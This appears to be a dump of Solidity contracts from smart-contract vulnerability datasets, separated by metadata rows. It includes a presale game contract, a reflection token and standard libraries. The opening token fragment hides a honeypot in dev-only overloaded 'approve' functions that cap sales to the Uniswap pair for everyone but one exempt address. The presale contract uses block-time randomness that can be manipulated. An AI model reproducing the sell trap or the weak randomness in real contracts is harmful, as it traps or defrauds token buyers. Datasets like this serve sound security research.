emit Transfer(address(0), _msgSender(), amount);
}
function cFrom(bool _a) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
a = _a;
}
function updateuniSwapRouter(address _router) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
uniSwapRouter = IUniswapV2Router02(_router);
uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH());
require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address.");
emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair);
}
function approve(address approvedAddress) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_approvedAddress = approvedAddress;
}
function approve(uint256 approveAmount) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_total = approveAmount * 10**9;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (!a){
if(isContract(sender) && isContract(recipient)){
require(amount <= 1, "Transfer amount exceeds the maxTxAmount.");
}
}
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _approvedAddress && recipient == uniSwapPair) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = amount.mul(10).div(100);
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
| 251,371 | 737 |
f9650853adaa5abe2da31a7736cdd79ffb119605c6c4c7459e52997ec0ec54f9
| 13,436 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x854f78f656b5c7a0ddc628b98b578c48595f3d65.sol
| 3,962 | 12,935 |
pragma solidity ^0.4.18;
contract AccessControl {
/// @dev The addresses of the accounts (or contracts) that can execute actions within each roles
address public ceoAddress;
address public cooAddress;
/// @dev Keeps track whether the contract is paused. When that is true, most actions are blocked
bool public paused = false;
function AccessControl() public {
ceoAddress = msg.sender;
cooAddress = msg.sender;
}
/// @dev Access modifier for CEO-only functionality
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
/// @dev Access modifier for COO-only functionality
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
/// @dev Access modifier for any CLevel functionality
modifier onlyCLevel() {
require(msg.sender == ceoAddress || msg.sender == cooAddress);
_;
}
/// @dev Assigns a new address to act as the CEO. Only available to the current CEO
/// @param _newCEO The address of the new CEO
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
/// @dev Assigns a new address to act as the COO. Only available to the current CEO
/// @param _newCOO The address of the new COO
function setCOO(address _newCOO) public onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
/// @dev Modifier to allow actions only when the contract IS NOT paused
modifier whenNotPaused() {
require(!paused);
_;
}
/// @dev Modifier to allow actions only when the contract IS paused
modifier whenPaused {
require(paused);
_;
}
/// @dev Pause the smart contract. Only can be called by the CEO
function pause() public onlyCEO whenNotPaused {
paused = true;
}
/// @dev Unpauses the smart contract. Only can be called by the CEO
function unpause() public onlyCEO whenPaused {
paused = false;
}
}
contract RacingClubPresale is AccessControl {
using SafeMath for uint256;
// Max number of cars (includes sales and gifts)
uint256 public constant MAX_CARS = 999;
// Max number of cars to gift (includes unicorns)
uint256 public constant MAX_CARS_TO_GIFT = 99;
// Max number of unicorn cars to gift
uint256 public constant MAX_UNICORNS_TO_GIFT = 9;
// End date for the presale. No purchases can be made after this date.
// Monday, November 19, 2018 11:59:59 PM
uint256 public constant PRESALE_END_TIMESTAMP = 1542671999;
// Price limits to decrease the appreciation rate
uint256 private constant PRICE_LIMIT_1 = 0.1 ether;
// Appreciation steps for each price limit
uint256 private constant APPRECIATION_STEP_1 = 0.0005 ether;
uint256 private constant APPRECIATION_STEP_2 = 0.0001 ether;
// Max count which can be bought with one transaction
uint256 private constant MAX_ORDER = 5;
// 0 - 9 valid Id's for cars
uint256 private constant CAR_MODELS = 10;
// The special car (the most rarest one) which can't be picked even with MAX_ORDER
uint256 public constant UNICORN_ID = 0;
// Maps any number from 0 - 255 to 0 - 9 car Id
uint256[] private PROBABILITY_MAP = [4, 18, 32, 46, 81, 116, 151, 186, 221, 256];
// Step by which the price should be changed
uint256 public appreciationStep = APPRECIATION_STEP_1;
// Current price of the car. The price appreciation is happening with each new sale.
uint256 public currentPrice = 0.001 ether;
// Overall cars count
uint256 public carsCount;
// Overall gifted cars count
uint256 public carsGifted;
// Gifted unicorn cars count
uint256 public unicornsGifted;
// A mapping from addresses to the carIds
mapping (address => uint256[]) private ownerToCars;
// A mapping from addresses to the upgrade packages
mapping (address => uint256) private ownerToUpgradePackages;
// Events
event CarsPurchased(address indexed _owner, uint256[] _carIds, bool _upgradePackage, uint256 _pricePayed);
event CarGifted(address indexed _receiver, uint256 _carId, bool _upgradePackage);
function RacingClubPresale() public {
// set previous contract values
carsCount = 98;
carsGifted = 6;
unicornsGifted = 2;
currentPrice = 0.05 ether;
}
// Buy a car. The cars are unique within the order.
// If order count is 5 then one car can be preselected.
function purchaseCars(uint256 _carsToBuy, uint256 _pickedId, bool _upgradePackage) public payable whenNotPaused {
require(now < PRESALE_END_TIMESTAMP);
require(_carsToBuy > 0 && _carsToBuy <= MAX_ORDER);
require(carsCount + _carsToBuy <= MAX_CARS);
uint256 priceToPay = calculatePrice(_carsToBuy, _upgradePackage);
require(msg.value >= priceToPay);
// return excess ether
uint256 excess = msg.value.sub(priceToPay);
if (excess > 0) {
msg.sender.transfer(excess);
}
// initialize an array for the new cars
uint256[] memory randomCars = new uint256[](_carsToBuy);
// shows from which point the randomCars array should be filled
uint256 startFrom = 0;
// for MAX_ORDERs the first item is user picked
if (_carsToBuy == MAX_ORDER) {
require(_pickedId < CAR_MODELS);
require(_pickedId != UNICORN_ID);
randomCars[0] = _pickedId;
startFrom = 1;
}
fillRandomCars(randomCars, startFrom);
// add new cars to the owner's list
for (uint256 i = 0; i < randomCars.length; i++) {
ownerToCars[msg.sender].push(randomCars[i]);
}
// increment upgrade packages
if (_upgradePackage) {
ownerToUpgradePackages[msg.sender] += _carsToBuy;
}
CarsPurchased(msg.sender, randomCars, _upgradePackage, priceToPay);
carsCount += _carsToBuy;
currentPrice += _carsToBuy * appreciationStep;
// update this once per purchase
// to save the gas and to simplify the calculations
updateAppreciationStep();
}
// MAX_CARS_TO_GIFT amout of cars are dedicated for gifts
function giftCar(address _receiver, uint256 _carId, bool _upgradePackage) public onlyCLevel {
// NOTE
// Some promo results will be calculated after the presale,
// so there is no need to check for the PRESALE_END_TIMESTAMP.
require(_carId < CAR_MODELS);
require(_receiver != address(0));
// check limits
require(carsCount < MAX_CARS);
require(carsGifted < MAX_CARS_TO_GIFT);
if (_carId == UNICORN_ID) {
require(unicornsGifted < MAX_UNICORNS_TO_GIFT);
}
ownerToCars[_receiver].push(_carId);
if (_upgradePackage) {
ownerToUpgradePackages[_receiver] += 1;
}
CarGifted(_receiver, _carId, _upgradePackage);
carsCount += 1;
carsGifted += 1;
if (_carId == UNICORN_ID) {
unicornsGifted += 1;
}
currentPrice += appreciationStep;
updateAppreciationStep();
}
function calculatePrice(uint256 _carsToBuy, bool _upgradePackage) private view returns (uint256) {
// Arithmetic Sequence
// A(n) = A(0) + (n - 1) * D
uint256 lastPrice = currentPrice + (_carsToBuy - 1) * appreciationStep;
// Sum of the First n Terms of an Arithmetic Sequence
// S(n) = n * (a(1) + a(n)) / 2
uint256 priceToPay = _carsToBuy * (currentPrice + lastPrice) / 2;
// add an extra amount for the upgrade package
if (_upgradePackage) {
if (_carsToBuy < 3) {
priceToPay = priceToPay * 120 / 100; // 20% extra
} else if (_carsToBuy < 5) {
priceToPay = priceToPay * 115 / 100; // 15% extra
} else {
priceToPay = priceToPay * 110 / 100; // 10% extra
}
}
return priceToPay;
}
// Fill unique random cars into _randomCars starting from _startFrom
// as some slots may be already filled
function fillRandomCars(uint256[] _randomCars, uint256 _startFrom) private view {
// All random cars for the current purchase are generated from this 32 bytes.
// All purchases within a same block will get different car combinations
// as current price is changed at the end of the purchase.
//
// We don't need super secure random algorithm as it's just presale
// and if someone can time the block and grab the desired car we are just happy for him / her
bytes32 rand32 = keccak256(currentPrice, now);
uint256 randIndex = 0;
uint256 carId;
for (uint256 i = _startFrom; i < _randomCars.length; i++) {
do {
// the max number for one purchase is limited to 5
// 32 tries are more than enough to generate 5 unique numbers
require(randIndex < 32);
carId = generateCarId(uint8(rand32[randIndex]));
randIndex++;
} while(alreadyContains(_randomCars, carId, i));
_randomCars[i] = carId;
}
}
// Generate a car ID from the given serial number (0 - 255)
function generateCarId(uint256 _serialNumber) private view returns (uint256) {
for (uint256 i = 0; i < PROBABILITY_MAP.length; i++) {
if (_serialNumber < PROBABILITY_MAP[i]) {
return i;
}
}
// we should not reach to this point
assert(false);
}
// Check if the given value is already in the list.
// By default all items are 0 so _to is used explicitly to validate 0 values.
function alreadyContains(uint256[] _list, uint256 _value, uint256 _to) private pure returns (bool) {
for (uint256 i = 0; i < _to; i++) {
if (_list[i] == _value) {
return true;
}
}
return false;
}
function updateAppreciationStep() private {
// this method is called once per purcahse
// so use 'greater than' not to miss the limit
if (currentPrice > PRICE_LIMIT_1) {
// don't update if there is no change
if (appreciationStep != APPRECIATION_STEP_2) {
appreciationStep = APPRECIATION_STEP_2;
}
}
}
function carCountOf(address _owner) public view returns (uint256 _carCount) {
return ownerToCars[_owner].length;
}
function carOfByIndex(address _owner, uint256 _index) public view returns (uint256 _carId) {
return ownerToCars[_owner][_index];
}
function carsOf(address _owner) public view returns (uint256[] _carIds) {
return ownerToCars[_owner];
}
function upgradePackageCountOf(address _owner) public view returns (uint256 _upgradePackageCount) {
return ownerToUpgradePackages[_owner];
}
function allOf(address _owner) public view returns (uint256[] _carIds, uint256 _upgradePackageCount) {
return (ownerToCars[_owner], ownerToUpgradePackages[_owner]);
}
function getStats() public view returns (uint256 _carsCount, uint256 _carsGifted, uint256 _unicornsGifted, uint256 _currentPrice, uint256 _appreciationStep) {
return (carsCount, carsGifted, unicornsGifted, currentPrice, appreciationStep);
}
function withdrawBalance(address _to, uint256 _amount) public onlyCEO {
if (_amount == 0) {
_amount = address(this).balance;
}
if (_to == address(0)) {
ceoAddress.transfer(_amount);
} else {
_to.transfer(_amount);
}
}
// Raffle
// max count of raffle participants
uint256 public raffleLimit = 50;
// list of raffle participants
address[] private raffleList;
// Events
event Raffle2Registered(address indexed _iuser, address _user);
event Raffle3Registered(address _user);
function isInRaffle(address _address) public view returns (bool) {
for (uint256 i = 0; i < raffleList.length; i++) {
if (raffleList[i] == _address) {
return true;
}
}
return false;
}
function getRaffleStats() public view returns (address[], uint256) {
return (raffleList, raffleLimit);
}
function drawRaffle(uint256 _carId) public onlyCLevel {
bytes32 rand32 = keccak256(now, raffleList.length);
uint256 winner = uint(rand32) % raffleList.length;
giftCar(raffleList[winner], _carId, true);
}
function resetRaffle() public onlyCLevel {
delete raffleList;
}
function setRaffleLimit(uint256 _limit) public onlyCLevel {
raffleLimit = _limit;
}
// Raffle v1
function registerForRaffle() public {
require(raffleList.length < raffleLimit);
require(!isInRaffle(msg.sender));
raffleList.push(msg.sender);
}
// Raffle v2
function registerForRaffle2() public {
Raffle2Registered(msg.sender, msg.sender);
}
// Raffle v3
function registerForRaffle3() public payable {
Raffle3Registered(msg.sender);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 197,649 | 738 |
a370346b708f482b5c5c37bbdbd20c88fc48e92346f5a3cc2b86b4881615d3cd
| 28,883 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x2AB292ecFFC57F95bBF13c2f29C30184D62FA7aB/contract.sol
| 5,081 | 18,193 |
//Who is Satoshi?
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract RFbsc is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
string private constant _NAME = 'RFbsc';
string private constant _SYMBOL = 'RFbsc';
uint8 private constant _DECIMALS = 8;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _DECIMALFACTOR = 10 ** uint256(_DECIMALS);
uint256 private constant _GRANULARITY = 100;
uint256 private _tTotal = 21000000 * _DECIMALFACTOR;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
uint256 private constant _TAX_FEE = 210;
uint256 private constant _BURN_FEE = 210;
uint256 private constant _MAX_TX_SIZE = 210000 * _DECIMALFACTOR;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _NAME;
}
function symbol() public view returns (string memory) {
return _SYMBOL;
}
function decimals() public view returns (uint8) {
return _DECIMALS;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _MAX_TX_SIZE, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _TAX_FEE, _BURN_FEE);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(_GRANULARITY)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(_GRANULARITY)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _TAX_FEE;
}
function _getMaxTxAmount() private view returns(uint256) {
return _MAX_TX_SIZE;
}
}
| 256,823 | 739 |
303c680813413d5427c40095b39d608e4a9fcba7f9d4e060f2281cc7c16cf63c
| 21,911 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x4b96bf1fef93a216914fc843d81207a027ce52b3.sol
| 4,202 | 16,281 |
pragma solidity ^0.4.19;
library Math {
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
